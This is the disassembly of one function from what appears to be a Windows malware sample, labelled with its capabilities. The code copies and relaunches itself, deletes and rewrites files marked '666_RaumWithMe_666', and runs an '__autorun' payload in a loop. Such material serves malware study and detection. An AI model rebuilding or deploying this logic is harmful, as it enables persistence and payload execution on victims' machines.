Function at 0x408130
Capabilities:
Create process on windows
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x594
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x52f]
push 0
push eax
mov byte [ebp - 0x530], 0
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x427]
push 0x103
push 0
push eax
mov byte [ebp - 0x428], 0
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x31f]
push 0x103
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x42fa58
push 0x104
push eax
call fcn.0040bc49
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x42a924
push 0x104
push eax
call fcn.0040bc9e
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x42fb5c
push 0x104
push eax
call fcn.0040bc9e
add esp, 0xc
lea eax, [ebp - 0x530]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x218]
lea eax, [ebp - 0x530]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408262
test dl, dl
je 0x40825e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408262
add eax, 2
add ecx, 2
test dl, dl
jne 0x408242
xor eax, eax
jmp 0x408267
sbb eax, eax
or eax, 1
test eax, eax
je 0x4082d8
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x530]
call fcn.0040a0e0
push 0x40
lea eax, [ebp - 0x58c]
push 0
push eax
mov dword [ebp - 0x590], 0x44
call fcn.00410a20
add esp, 0xc
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x590]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x218]
push eax
push 0
mov dword [ebp - 0x564], 0x80
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4082d8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x42af48
mov ecx, 0x4316f8
call fcn.00409b40
push 0x42fa58
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040bc49
add esp, 0xc
lea eax, [ebp - 0x110]
push str._backup.exe
push 0x104
push eax
call fcn.0040bc9e
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
jmp 0x408330
push 0x104
lea edx, [ebp - 0x320]
mov ecx, 5
call fcn.00405660
add esp, 4
test al, al
jne 0x40839a
push 0x104
lea edx, [ebp - 0x320]
mov ecx, 3
call fcn.00405660
add esp, 4
test al, al
jne 0x408381
push 0x4316b8
lea eax, [ebp - 0x320]
push 0x104
push eax
call fcn.0040bc49
add esp, 0xc
push str.tools_regwrite.raum_encrypted
lea eax, [ebp - 0x320]
push 0x104
push eax
call fcn.0040bc9e
add esp, 0xc
push 0x104
lea edx, [ebp - 0x428]
mov ecx, 6
xor bl, bl
call fcn.00405660
add esp, 4
test al, al
je 0x4083f1
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0x320]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4083e4
test dl, dl
je 0x4083e0
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4083e4
add ecx, 2
add eax, 2
test dl, dl
jne 0x4083c4
xor eax, eax
jmp 0x4083e9
sbb eax, eax
or eax, 1
test eax, eax
je 0x40840c
mov bl, 1
jmp 0x40840c
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x428]
push 0x104
push eax
call fcn.0040bc49
add esp, 0xc
push 0x4316a0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test bl, bl
jne 0x40843b
lea eax, [ebp - 0x110]
push 0x42b168
push eax
call fcn.0040e222
add esp, 8
test eax, eax
je 0x40843b
push eax
call fcn.0040d2d0
jmp 0x40847e
lea eax, [ebp - 0x110]
push eax
call esi
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x428]
call fcn.00407b60
test al, al
je 0x408481
mov edx, str.666_RaumWithMe_666
lea ecx, [ebp - 0x110]
call fcn.00406050
test al, al
je 0x408481
push ecx
lea edx, [ebp - 0x428]
mov ecx, 5
call fcn.004058f0
add esp, 4
lea ecx, [ebp - 0x110]
call fcn.00409940
test al, al
jne 0x4084a0
mov edx, str.666_RaumWithMe_666
lea ecx, [ebp - 0x110]
call fcn.00406050
lea ecx, [ebp - 0x110]
call fcn.00409940
test al, al
lea eax, [ebp - 0x110]
jne 0x4084c4
push eax
call esi
push 0x2bf20
call edi
jmp 0x408330
push str.__autorun
push 0x104
push eax
call fcn.0040bc9e
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040bc9e
add esp, 0xc
lea eax, [ebp - 0x58c]
push 0x40
push 0
push eax
mov dword [ebp - 0x590], 0x44
call fcn.00410a20
add esp, 0xc
xor eax, eax
mov word [ebp - reloc.crypt32.dll_CertDeleteCRLFromStore], ax
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x590]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x564], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [ebp - 0x534]
lea eax, [ebp - 0x534]
cmp eax, 0x666666
cmovne esi, dword [ebp - 0x544]
lea eax, [ebp - 0x110]
push str.__autorun
push eax
call fcn.0040db60
add esp, 8
mov byte [eax], 0
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8ae
call edi
mov edx, str.666_RaumWithMe_666
lea ecx, [ebp - 0x110]
call fcn.00406050
push 0x4316a0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0040bbef
mov esp, ebp
pop ebp
ret